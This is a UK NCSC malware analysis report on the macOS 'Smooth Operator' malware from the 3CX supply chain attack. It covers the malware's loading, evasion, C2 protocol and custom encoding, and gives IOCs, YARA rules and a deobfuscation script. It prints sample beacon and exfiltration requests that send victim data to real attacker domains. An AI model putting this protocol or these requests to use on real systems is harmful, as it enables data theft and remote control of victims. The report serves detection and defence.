National Cyber Security Centre
a part of GCHQ

Smooth Operator

Malware Analysis Report

Version 1.0

29 June 2023

National Cyber Security Centre
a part of GCHQ

Smooth Operator

macOS supply chain malware that exfiltrates victim data using a custom data encoding algorithm over HTTPS

Executive summary

- Smooth Operator malware targets macOS.
- Smooth Operator was distributed to victims as part of the 3CX supply chain attack.
- The infected software package was signed by 3CX and notarized by Apple.
- Malicious code inserted into a dynamic library (dylib) packaged with the 3CX software downloads and runs a second-stage payload.
- HTTPS is used as a C2 channel, with an additional custom encoding algorithm used to obfuscate exfiltrated data.
- Smooth Operator randomises the C2 server it communicates with. The 3CX website is included in the list of C2 Servers it can beacon to.

Introduction

Smooth Operator malware was distributed as part of the widely reported 3CX supply chain attack, outed in March 2023. Windows and Mac systems were both targeted as part of the attack, in which malicious updated software packages were distributed via legitimate channels.

This report covers technical details of the macOS malware observed in the attack, security advice was published by NCSC in April[1]. 3CX Electron Mac App version numbers 18.11.1213 shipped with update 6, and 18.12.402, 18.12.407 & 18.12.416 in update 7 were infected[2]. Analysis in this report focuses on the specific hashes listed in the 'Malware details (Metadata)' section.

Smooth Operator is comprised of two stages; the first-stage is compiled into a dynamic library (dylib) file distributed as part of the 3CX software package, the second-stage is downloaded and run by the first-stage.

[1] https://www.ncsc.gov.uk/news/3cx-desktopapp-security-issue

[2] https://www.3cx.com/blog/news/desktopapp-security-alert/

Malware details

Metadata

Filename	3CXDesktopApp-18.12.416.dmg
Description	Trojanised, signed and notarized 3CX software package containing the malicious copy of libffmpeg.dylib.
Size	172150545 bytes
MD5	d5101c3b86d973a848ab7ed79cd11e5a
SHA-1	3dc840d32ce86cebf657b17cef62814646ba8e98
SHA-256	e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec

Filename	libffmpeg.dylib
Description	Smooth Operator universal binary packaged inside the above disk image. Only the Intel x86_64 binary has malicious code present.
Size	4979136 bytes
MD5	660ea9b8205fbd2da59fefd26ae5115c
SHA-1	769383fc65d1386dd141c960c9970114547da0c2
SHA-256	a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67

Filename	UpdateAgent
Description	Smooth Operator second-stage payload which exfiltrates 3CX victim data. Intel x86_x64 specific binary, not universal.
Size	43139 bytes
MD5	5faf36ca90f6406a78124f538a03387a
SHA-1	9e9a5f8d86356796162cee881c843cde9eaedfb3
SHA-256	6c121f2b2efa6592c2c22b29218157ec9e63f385e7a1d7425857d603ddef8c59

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Initial Access	T1195.001	Supply Chain Compromise: Compromise Software Dependencies and Development Tools	Smooth Operator is distributed via legitimate channels as trojanised, signed and notarized 3CX software.
Persistence	T1554	Compromise Client Software Binary	Smooth Operator runs as part of the 3CX software.
Defence Evasion	T1140	Deobfuscate/Decode Files or Information	Smooth Operator uses a custom algorithm to obfuscate data exfiltrated over the C2 channel. Smooth Operator deobfuscates data it writes to a file on disk as well as tasking responses.
	T1070.004	Indicator Removal: File Deletion	Smooth Operator's second-stage deletes itself from disk immediately on execution.
	T1497.003	Virtualization/Sandbox Evasion: Time Based Evasion	Smooth Operator sleeps for, at minimum, a week before beaconing.
Collection	T1119	Automated Collection	Smooth Operator stages collect data from the victim machine to be included in a beacon or exfiltration.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	Smooth Operator command and control is over HTTPS.
	T1008	Fallback Channels	Smooth Operator contains multiple C2 servers and randomly chooses a new server from the list for each beacon, if one fails it will try another.
Exfiltration	T1020	Automated Exfiltration	Smooth Operator exfiltrates automatically collected data, not over the existing C2 channel.

Functionality

Overview

Smooth Operator targets macOS and infects victims when they install specific trojanised versions of the 3CX software. It contains functionality to receive tasking, run payloads and exfiltrate victim data. Smooth Operator is written in Objective-C, and targets 64-bit Intel-based macOS.

For a 3CX user to become infected with Smooth Operator they must open, install and run the updated software contained within one of the maliciously distributed Disk Images (.dmg). The second-stage has an adhoc signature and is not notarized.

Note: *An adhoc signature is code signed with the pseudo-identity '-' and provides no chain of trust or certificate from the developer.*[3]

The trojanised component of the 3CX software package, `libffmpeg.dylib`, is a universal binary which contains binaries for both Intel and ARM macOS. There is no evidence that malicious code has been added to the ARM binary.

Note: *Universal binaries are a feature of Apple devices, due to there being multiple instruction sets and architectures Apple devices can run on, for example Intel vs ARM and 32-bit vs 64-bit. Universal binaries allow developers to compile their software for multiple instruction sets by packaging multiple compiled Mach-O binaries into one file. The target device will execute the compatible binary.*

Smooth Operator implements a file lock to ensure only one instance of itself is running, it checks whether it can open a handle to the file `.session-lock` in the 3CX install directory `$HOME/Library/Application Support/3CX Desktop App/`, where `$HOME` is the current user's home directory. If it cannot obtain the file lock, then Smooth Operator exits.

On first execution Smooth Operator randomly generates a 36-character victim ID in the UUID format. The victim ID and next scheduled beacon time, discussed in the 'Functionality (Defence Evasion)' section, are both XOR encoded with the key `0x7A` and written to the file `.main_storage` in the directory `$HOME/Library/Application Support/3CX Desktop App/`. The victim ID is used throughout both stages of Smooth Operator and is included in both malware beacons and exfiltration. The second-stage will not run without the presence of the `.main_storage` file.

Supply chain compromise

The file `libffmpeg.dylib` is a legitimate dependency of the 3CX software and is loaded when the software is run. The malicious code has been added to the file as a constructor function, meaning it runs whenever the file is loaded without affecting normal usage of the dylib. The small constructor function jumps to a function called `_run_avcodec` which creates a new thread to run a larger function containing the rest of Smooth Operator's functionality. Usage of the string `avcodec` is noteworthy as a significant number of other exported functions in the dylib use this string in their name, allowing it to blend in.

---

[3] https://developer.apple.com/documentation/security/seccodesignatureflags/1397793-adhoc

Persistence

Due to the fact Smooth Operator abuses a legitimate component of the 3CX software package to launch itself, it is persisted as part of the 3CX software and runs every time `libffmpeg.dylib` is loaded.

Collection

Smooth Operator extracts the OS version from the `SystemVersion.plist` file located in `/System/Library/CoreServices/`. If there is no value present the malware exits. This value is concatenated with the hostname of the victim machine, the current beacon interval, and the calculated C2 index separated by semi-colons, and included in every beacon.

The second-stage payload `UpdateAgent` parses and extracts domain and account name values from the 3CX file `config.json`, located in `$HOME/Library/Application Support/3CX Desktop App/`. If the values are not successfully extracted, the second-stage process exits. The extracted domain and account name are concatenated together, separated by a semi-colon and exfiltrated.

The beacon and exfiltration both use the same custom data obfuscation as described in the 'Communications (Custom data obfuscation)' section. The beacon and exfiltration process are both discussed in the 'Communications (Beacon)' and 'Communications (Exfiltration)' sections respectively.

Defence evasion

The downloaded second-stage, `UpdateAgent` once launched daemonises, detaching the `UpdateAgent` process from the 3CX one. Execution of the rest of the functionality in the second-stage continues in the child process. The `UpdateAgent` binary deletes itself from disk immediately after execution.

Smooth Operator writes configuration files and further executable stages to the legitimate 3CX installation directory in an attempt to appear legitimate.

Traffic sent to the C2 server is obfuscated with a custom data encoding algorithm as described in the 'Communications (Custom data obfuscation)' section.

Sleep cycle generation

On first run, Smooth Operator sleeps for between 7 and 20 days before beaconing. The initial beacon time is written into the file `.main_storage` along with the victim ID as discussed in the 'Functionality (Overview)' section. If the 3CX process exits and starts again, Smooth Operator reads this initial beacon time from the file to which it was written, meaning the time will not reset on process restart.

After the initial beacon, Smooth Operator uses a time-seeded random algorithm to generate a default beacon interval of between 1 and 2 hours. The sleep interval between beacons is freshly calculated at the start of every beacon cycle, but can be updated per cycle through tasking, which is discussed in the 'Functionality (Tasking Commands)' section. The initial beacon time is overwritten with the next beacon time in the `.main_storage` file at the end of every beacon cycle.

In both cases, Smooth operator sleeps in 10 second bursts, checking if the total elapsed time is greater than the relevant value in the `.main_storage` file before beaconing. This is opposed to the alternative of sleeping for a longer specified time interval which is more likely to flag the file as suspicious.

Randomised command and control server selection

Smooth Operator has an embedded list of 15 C2s, and one URL for the 3CX website, all obfuscated with the single-byte XOR key, `0x7A`. A random C2 is picked from the list to beacon to before each beacon, so it is expected behaviour for one infected device to beacon to multiple C2 servers.

The malware maintains a beacon error count, which is incremented when an invalid response is received and reset when a valid C2 response is received, or the received response body from one of the C2 servers contains the value `200`. If the beacon error count reaches four, the C2 server is set to an embedded 3CX website URL, at which point if the beacon receives anything other than a valid response, it writes the next beacon time to the file `.main_storage` and then exits. No further C2 randomisation will occur, and the beacon error count will not be reset regardless of received tasking if the 3CX URL is selected.

Note: *Given the malware can beacon to multiple C2 servers, it is believed a back-end server must have been maintaining the current state of the malware's operation using the victim ID value sent in the beacon.*

Tasking Commands

The below table highlights the taskable functionality supported by Smooth Operator. See the '<u>Communications (Tasking)</u>' section for semantics on how they are implemented in the command and control protocol.

Command ID	Description
`0x3849 (8I)`	Run a payload. Writes tasking data into the file `UpdateAgent`, in the 3CX directory. This file is then executed via `popen` using the generated command line '"`/path/to/UpdateAgent" >/dev/null 2>&1`'. No checks are carried out by the malware on the payload written to disk, such as whether it is a valid Macho-O.
`0x8001`	Smooth Operator will sleep for an arbitrary time. Takes the tasking data in the beacon response and uses this as the updated beacon delta time.
`0x9001`	Immediately exit the thread spawned to run Smooth Operator.

Table 1: Tasking Commands

Note: *The `popen` function operates by passing the command line to `/bin/sh` with the `-c` flag.*

When actioning any valid tasking:

- If the C2 is the 3CX URL, Smooth Operator will action the tasking without resetting the beacon error count, write the next time to beacon to the `.main_storage` file, sleep and then beacon again.
- If the C2 is any other URL in the list, Smooth Operator will action the tasking and reset the beacon error count, write the next time to beacon to the `.main_storage` file, sleep and then beacon again.

When actioning invalid tasking:

- If the C2 is the 3CX URL, Smooth Operator will exit immediately.
- If the C2 is any other URL in the list:
    - If the beacon error count is greater than four, Smooth Operator will attempt to beacon to the 3CX URL after sleeping.

- Otherwise, Smooth Operator will increment the beacon error count, write the next time to beacon to the `.main_storage` file, sleep and then beacon again.

Communications

Smooth Operator communicates with its command and control (C2) servers over HTTPS.

Custom data obfuscation

Both stages of Smooth Operator utilise a custom algorithm that obfuscates data sent in malware beacons and exfiltration. The encoding involves two distinct steps. A Python script has been included in the 'Appendix (Deobfuscation script)' for decoding observed strings.

As mentioned in the 'Functionality (Collection)' section, this algorithm is used to encode data separated by a semi-colon. Below is a worked example of encoding the plaintext string `AA;BBBB`.

First, each character in the string is converted into its ASCII decimal values and delimited by a colon, this gives the below string.

```
:65:65:59:66:66:66:66:
```

Figure 1: Initial data encoding

The position of the character in the string to encode (starting at 1) is then added to itself, and the order of the string is inversed, as well as the individual values themselves. If the length of the string is less than 32 characters, then it is padded on each side with four `{` characters, which doesn't change the offsets used for the obfuscation algorithm.

In Figure 2, the first value `37` was originally the final value `66` in Figure 1. The original value is at offset `7`, so the calculation value (`66`) plus offset (`7`) gives the result (`73`). This is inversed to provide the final value (`37`), then the order of the string is inversed moving this to the start of the string.

```
{{{{:37:27:17:07:26:76:66:{{{{
```

Figure 2: Second pass, data encoding

The second step of the encoding is based around a so-called '`validCharList`' (this name is present in symbols). For each character to be encoded, Smooth Operator adds a seed that is continually updated.

The initial seed is calculated by retrieving the current time and taking the current number of seconds of the minute and using this as an index into the `validCharList`. This character becomes the first value in the encoded output.

```
!#$%&()*+-
.0123456789:;<>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz{
|}
```

Figure 3: validCharList

For example, if the time of encoding was 12:04:25, offset 25 is taken into the `validCharList` (the question mark), this would be the seed and the first character present in the final encoded string.

This seed (in this example ASCII '?', or hex 0x3F) is updated for the encoding by adding the length of the string, minus 2 (0x5B), then negating (0xFFFFFFA5). This value is used to initialise the current seed, and to increment the current seed before encoding each character.

Each character to be encoded is used as an offset into the validCharList (e.g. '{' is offset 82) and this value has the current seed subtracted from it. This operation (alongside a check to ensure the result falls in a valid range for the validCharList) gives the value 9, meaning the 9th value '–' is used as the next encoded character. The first two characters of the final string are '?-'. For details of the exact implementation please see the Python code in the 'Appendix (Deobfuscation script)'.

If any of the offsets into the array at this stage match the $, %, + or ; symbols then they are replaced in the final string with a corresponding HTML style encoding string such as &dol>, &per>, &plus> or &semi> this is likely an attempt to make the string appear legitimate.

This gives the final encoded string below which would be sent in network traffic, discussed in the 'Communications (Command and control)'.

```
?-4:Abaktr}&plus>(6@semi>IRPZgjoy{&per>2y#*2
```

Figure 4: Final encoding

Command and control

The list of available C2s is embedded within the binary, stored under a 1-byte XOR key 0x7A. The process by which the C2 is selected is discussed in the 'Functionality (Defence Evasion)' section.

```
msstorageazure[.]com/analysis
officestoragebox[.]com/api/biosync
visualstudiofactory[.]com/groupcore
azuredeploystore[.]com/cloud/images
msstorageboxes[.]com/xbox
officeaddons[.]com/quality
sourceslabs[.]com/status
zacharryblogs[.]com/xmlquery
pbxcloudeservices[.]com/network
pbxphonenetwork[.]com/phone
akamaitechcloudservices[.]com/v2/fileapi
azureonlinestorage[.]com/google/storage
msedgepackageinfo[.]com/ms-webview
glcloudservice[.]com/v1/status
pbxsources[.]com/queue
www.3cx[.]com/blog/event-trainings/
```

Figure 5: Embedded C2 URLs

Note: *The 3CX URL is a legitimate and valid URL on the website. As discussed in the 'Functionality (Defence Evasion)' section, the 3CX URL is not randomly selected as a C2 server and is only used if more than four beacons consecutively receive invalid responses.*

Beacon

A variety of information about the device is collected for inclusion in the beacon as discussed in 'Functionality (Collection)'. This device information alongside the victim ID (as discussed in 'Functionality (Overview)') is included in the malware beacon as shown in Figure 6.

Collected values are formatted into the format string shown in Figure 7 and then included in the `Cookie` HTTP header field. The victim ID is placed in the `3cx_auth_id` field and the obfuscated OS version, hostname and C2 information are placed in the `3cx_auth_token_content` field.

```
<os version>;<hostname>;<beacon interval, seconds>;<C2 index, 0-15>
```

Figure 6: Plaintext structure for data encoded in the `3cx_auth_token_content` field

```
3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true
```

Figure 7: Format string for Cookie field

An example beacon is shown below, all data is representative only to aid reader comprehension.

Smooth Operator beacon

```
GET /network HTTP/1.1
Host: pbxcloudeservices.com
Accept: */*
Cookie: 3cx_auth_id=75d2a98f-3698-2888-5395-
113761798c95;3cx_auth_token_content= #oPG5uiU9-
wXN>&p_B6#kVF.s]S:#lcI3ypWB&plus>}cO:1wbQ7!jaG2wnO<){cPB*mXO6zh]C6!bSE1q[R5*t_L
:}jZA4|hSC&plus>mYP7zi_D6#gTF.uhR:-m[N1}p;__tutma=true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit537.36 (KHTML,
like Gecko) Chrome/108.0.5359.128 Safari/537.36
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
```

Chosen C2 domain	Encoded beacon data	Hardcoded User-Agent

Figure 8: Smooth Operator beacon

Note: *The User-Agent string is for a Windows device. This is also the case for the exfiltration.*

Tasking

For Smooth Operator to recognise a valid task, the length of a received task must be 8 bytes or longer. If the tasking response satisfies the condition of being longer than 8 bytes, the response is deobfuscated using the XOR key `0x7A`. The first two bytes of the deobfuscated response are then compared to the Command ID values discussed in the 'Functionality (Tasking Commands)' section to inform how execution proceeds. A valid task from one of the C2 servers resets the beacon error count before sleeping for the current interval and beaconing again.

If the body of the response is 3 bytes or less then it is compared to the string '200', if it matches then it will reset the beacon error count, otherwise it will increment the beacon error count, and in either case it will sleep for the current interval and beacon again.

The exception is that no response from the 3CX website will ever reset the beacon error count, regardless of content.

Exfiltration

The second-stage of Smooth Operator exfiltrates victim specific data from a 3CX installation file, discussed in the 'Functionality (Collection)' section as well as the victim ID generated by the first-stage. Exfiltration occurs via a HTTP GET request over HTTPS to the following exfiltration URL `https://sbmsa[.]wiki/blog/_insert`. There are no attempts to retry exfiltrating the data if errors occur. Example exfiltration can be seen below, all data is representative only to aid reader comprehension.

Smooth Operator Exfiltration

```
GET /blog/_insert HTTP/1.1
Host: sbmsa.wiki
Accept: */*
Cookie: 3cx_auth_id=75d2a98f-3698-2888-5395-
113761798c95;3cx_auth_token_content=@P&per>b&semi>}U4iO(b:|X2hN*]9{R{&plus>gM(a
BvR&plus>oB#XAwO*nG}W@vO)mIzV?mM(l@xU>uN2aBw_8mI1b?v]5nH0hD!T5sN&dol>]EyQ0rM#[D
zQ.qE!ZCrQ-
pD|YBqV6fI)b7pV2fB([:xQ*dJ&dol>V5wS&cIxY>oI&kFwT<lH&per>j>vS&semi>;__tutma=true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit537.36 (KHTML,
like Gecko) Chrome/108.0.5359.128 Safari/537.36
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
```

Exfiltration domain	Encoded exfiltration data	Hardcoded User-Agent

Figure 9: Example exfiltration

Conclusion

The design and thought process which went into developing and deploying Smooth Operator to appear as part of 3CX is significant. It was deployed via a trusted supply chain to victims and distributed as a signed and notarized software package. The malware itself is of medium sophistication.

The observed second-stage Smooth Operator payload is lightweight and was likely meant to determine which victims to pursue with further stages. Usage of an extensive encoding mechanism for the C2 channel would make traffic appear legitimate, even if a TLS interception proxy was in use.

When the Smooth Operator first-stage downloads payloads for execution, no checks are performed and it will attempt to execute it regardless of content, meaning Smooth Operator is designed to run any payload sent to it, not exclusively the observed second-stage.

Detection

Indicators of compromise

Type	Description	Values
URL	C2 URL	https://msstorageazure[.]com/analysis
URL	C2 URL	https://officestoragebox[.]com/api/biosync
URL	C2 URL	https://visualstudiofactory[.]com/groupcore
URL	C2 URL	https://azuredeploystore[.]com/cloud/images
URL	C2 URL	https://msstorageboxes[.]com/xbox
URL	C2 URL	https://officeaddons[.]com/quality
URL	C2 URL	https://sourceslabs[.]com/status
URL	C2 URL	https://zacharryblogs[.]com/xmlquery
URL	C2 URL	https://pbxcloudeservices[.]com/network
URL	C2 URL	https://pbxphonenetwork[.]com/phone
URL	C2 URL	https://akamaitechcloudservices[.]com/v2/fileapi
URL	C2 URL	https://azureonlinestorage[.]com/google/storage
URL	C2 URL	https://msedgepackageinfo[.]com/ms-webview
URL	C2 URL	https://glcloudservice[.]com/v1/status
URL	C2 URL	https://pbxsources[.]com/queue
URL	Exfiltration URL	https://sbmsa[.]wiki/blog/_insert
Domain	C2 domain.	msstorageazure[.]com
Domain	C2 domain.	officestoragebox[.]com
Domain	C2 domain.	visualstudiofactory[.]com
Domain	C2 domain.	azuredeploystore[.]com
Domain	C2 domain.	msstorageboxes[.]com

Type	Description	Values
Domain	C2 domain.	officeaddons[.]com
Domain	C2 domain.	sourceslabs[.]com
Domain	C2 domain.	zacharryblogs[.]com
Domain	C2 domain.	pbxcloudeservices[.]com
Domain	C2 domain.	pbxphonenetwork[.]com
Domain	C2 domain.	akamaitechcloudservices[.]com
Domain	C2 domain.	azureonlinestorage[.]com
Domain	C2 domain.	msedgepackageinfo[.]com
Domain	C2 domain.	glcloudservice[.]com
Domain	C2 domain.	pbxsources[.]com
Domain	Exfiltration domain.	sbmsa[.]wiki
MD5	Malicious 3CX DMG.	d5101c3b86d973a848ab7ed79cd11e5a
SHA1	Malicious 3CX DMG.	3dc840d32ce86cebf657b17cef62814646ba8e98
SHA-256	Malicious 3CX DMG.	e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec
MD5	Malicious 3CX dylib, libffmpeg.dylib.	660ea9b8205fbd2da59fefd26ae5115c
SHA1	Malicious 3CX dylib, libffmpeg.dylib.	769383fc65d1386dd141c960c9970114547da0c2
SHA-256	Malicious 3CX dylib, libffmpeg.dylib.	a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67
MD5	Smooth Operator second-stage payload, UpdateAgent.	5faf36ca90f6406a78124f538a03387a
SHA1	Smooth Operator second-stage payload, UpdateAgent.	9e9a5f8d86356796162cee881c843cde9eaedfb3

Type	Description	Values
SHA-256	Smooth Operator second-stage payload, `UpdateAgent`.	`6c121f2b2efa6592c2c22b29218157ec9e63f385e7a1d7425857d603ddef8c59`
Filename	Victim ID and sleep time file.	`.main_storage`
Filename	Second-stage payload.	`UpdateAgent`

Rules and signatures

Description	This rule identifies unique strings and code present in the C2 string obfuscation code of Smooth Operator.
Precision	This rule is precise, with no unexpected results when conducting a retrohunt in VirusTotal for a year.
Rule type	YARA

```
rule Smooth_Operator_Obfuscation {
    meta:
        author = "NCSC"
        description = "This rule identifies unique strings and code
present in the C2 string obfuscation code of Smooth Operator."
        date = "2023-06-29"
        hash1 = "769383fc65d1386dd141c960c9970114547da0c2"
        hash2 = "9e9a5f8d86356796162cee881c843cde9eaedfb3"

    strings:
          $ = {48 69 ?? 61 60 60 60 48 89 ?? 48 C1 EA 3F 48 C1 ?? 25 01
?? 6B ?? 55}
            $ = "!#$%&()*+-
.0123456789:;<>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghi"
            $ = {3E00C7[5-6]26706572} // &per
            $ = {3E00C7[5-6]26646F6C} // &dol
            $ = {75733E00C7[5-6]26706C75} // &plus
            $ = {6D693E00C7[5-6]2673656D} // &semi

    condition:
          ((uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xFEEDFACE) or
(uint32(0) == 0xCAFEBABE) or (uint32(0) == 0xCAFEBABF)) and all of them
}
```

Description	This rule identifies unique code sections in the C2 string obfuscation algorithm of Smooth Operator.
Precision	This rule is precise, with no unexpected results when conducting a retrohunt in VirusTotal for a year.
Rule type	YARA

```
rule Smooth_Operator_Obfuscation_2 {
    meta:
        author = "NCSC"
        description = "This rule identifies unique code sections in the
C2 string obfuscation algorithm."
        date = "2023-06-29"
        hash1 = "769383fc65d1386dd141c960c9970114547da0c2"
        hash2 = "9e9a5f8d86356796162cee881c843cde9eaedfb3"

    strings:
        $a_1 = {4869C8616060604889CA48C1EA3F48C1F92501D16BC95529C8[0-
3]83F807}
        $b_1 = {438D1C24F7DB41F7DC} // neg
        $b_2 = {478D3C3641F7DF41F7DE} // neg

    condition:
        ((uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xFEEDFACE) or
(uint32(0) == 0xCAFEBABE) or (uint32(0) == 0xCAFEBABF)) and any of ($b*)
and $a_1
}
```

Description	This rule identifies broader functionality across Smooth Operator, identifying strings observed throughout.
Precision	This rule is precise, with no unexpected results when conducting a retrohunt in VirusTotal for a year.
Rule type	YARA

```
rule Smooth_Operator_Strings {
    meta:
        author = "NCSC"
        description = "This rule identifies broader functionality across
Smooth Operator, identifying strings observed throughout."
        date = "2023-06-29"
        hash1 = "769383fc65d1386dd141c960c9970114547da0c2"

    strings:
        $ = {80 [2] 7A 48 FF C0 48 83 F8 38} // .main_storage XOR loop
        $ = "<key>ProductVersion</key>"
        $ = ".session-lock"
        $ = "%s/.main_storage"
        $ = "%s/UpdateAgent"
        $ =
{3715001316161B554F544A5A522D13141E150D095A342E5A4B4A544A415A2D13144C4E41
5A024C4E535A3B0A0A161F2D1F1831130E554F494D54494C5A5231322E3736565A1613111
F5A3D1F191115535A39120815171F554B4A42544A544F494F43544B48425A291B1C1B0813
554F494D54494C} // XOR'd UA
        $ = {B02D[0-8]88470888470D884712884717C6472400} // victim ID
generation

    condition:
      ((uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xFEEDFACE) or
(uint32(0) == 0xCAFEBABE) or (uint32(0) == 0xCAFEBABF)) and 4 of them
}
```

Description	This rule identifies sections of code which are responsible for parsing tasking command codes in Smooth Operator.
Precision	This rule is precise, with no unexpected results when conducting a retrohunt in VirusTotal for a year.
Rule type	YARA

```
rule Smooth_Operator_C2_codes {
    meta:
        author = "NCSC"
        description = "This rule identifies sections of code which are
responsible for parsing tasking command codes in Smooth Operator."
        date = "2023-06-29"
        hash1 = "769383fc65d1386dd141c960c9970114547da0c2"

    strings:
      $ = {80340F7A48FFC14839C8} // XOR deobfuscate tasking
        $ = {8B073D4938000074??3D018000008B4C24??0F[3-6]3D01900000} // C2
codes

    condition:
      ((uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xFEEDFACE) or
(uint32(0) == 0xCAFEBABE) or (uint32(0) == 0xCAFEBABF)) and all of them
}
```

Description	This rule identifies algorithms used by the malware developer to generate random time values in Smooth Operator.
Precision	This rule had minimal false positives over a year's retrohunt in VirusTotal. Inclusion of a filesize parameter drops this number. Hunting purposes only.
Rule type	YARA

```
rule Smooth_Operator_Sleeps {
    meta:
        author = "NCSC"
        description = "This rule identifies algorithms used by the
malware developer to generate random time values in Smooth Operator."
        date = "2023-06-29"
        hash1 = "769383fc65d1386dd141c960c9970114547da0c2"

    strings:
      $ =
{E8[4]E8[4]89C14869C93FC5254348C1E9246BC93D29C86BE83C81C5100E0000B80F0000
00} // between beacon time generation
      $ = {E8[4]E8[4]89C1490FAFCE48C1E9238D0C898D0C4929C8} // C2 index
      $ =
{89E8D1E841BE932449924C0FAFF049C1EE224489F0C1E0044489F129C14101EE4101CE48
8DBC24[4]4C892FE8} // initial sleep

    condition:
        ((uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xFEEDFACE) or
(uint32(0) == 0xCAFEBABE) or (uint32(0) == 0xCAFEBABF)) and any of them
}
```

Description	This rule identifies strings observed in the second-stage of Smooth Operator.
Precision	This rule is precise, with no unexpected results when conducting a retrohunt in VirusTotal for a year.
Rule type	YARA

```
rule Smooth_Operator_II {
    meta:
        author = "NCSC"
        description = "This rule identifies strings observed in the
second stage of Smooth Operator."
        date = "2023-06-29"
        hash1 = "9e9a5f8d86356796162cee881c843cde9eaedfb3"

    strings:
        $ = "3cx_auth_id=%s;3cx_auth_token_content=%s;__tutma=true"
        $ = "AccountName\":"
        $ = "url\": \"https://"
        $ = "%s/Library/Application Support/3CX Desktop
App/.main_storage"
        $ = "%s/Library/Application Support/3CX Desktop App/config.json"
        $ = "read_config"
        $ = "enc_text"
        $ = "send_post"
        $ = "parse_json_config"

    condition:
          ((uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xFEEDFACE) or
(uint32(0) == 0xCAFEBABE) or (uint32(0) == 0xCAFEBABF)) and 5 of them
}
```

Appendix

Deobfuscation Script

```
alphabet = "!#$%&()*+-
.0123456789:;<>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz{
|}"

# Place encoded string here
inp = ""

outstring = ""

# Replace the mappings with their assigned characters
inp = inp.replace('&dol>','$')
inp = inp.replace('&per>','%')
inp = inp.replace('&plus>','+')
outstring = inp.replace('&semi>',';')

in_val = list(outstring)
in_val = [ord(n) for n in in_val]
translation_2 = []
seed = in_val[0]
del in_val[0]
length = len(in_val)

key = seed + length - 2

init_seed = 0x100000000 - key
curr_seed = init_seed

for y in in_val:
    curr_seed += init_seed
    curr_seed &= 0xFFFFFFFF
    target = alphabet.index(chr(y))
    val = (target-1-(-curr_seed % 85))%85
    translation_2.append(val)

translation_3 = ""

alphabet = list(alphabet)

for z in translation_2:
    translation_3 = translation_3 + (alphabet[int(z)])

translation_3 = translation_3.strip("{}")

translation_4 = translation_3.split(":")

translation_4 = [i for i in translation_4 if i != '']

translation_5 = [x[::-1] for x in translation_4]

translation_6 = list(reversed(translation_5))

cleartext = ""

count2 = 1
```

```
for y in translation_6:
    cleartext = cleartext + str(chr(int(y)-count2))
    count2 = count2 + 1

print(cleartext)
```

Disclaimer

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.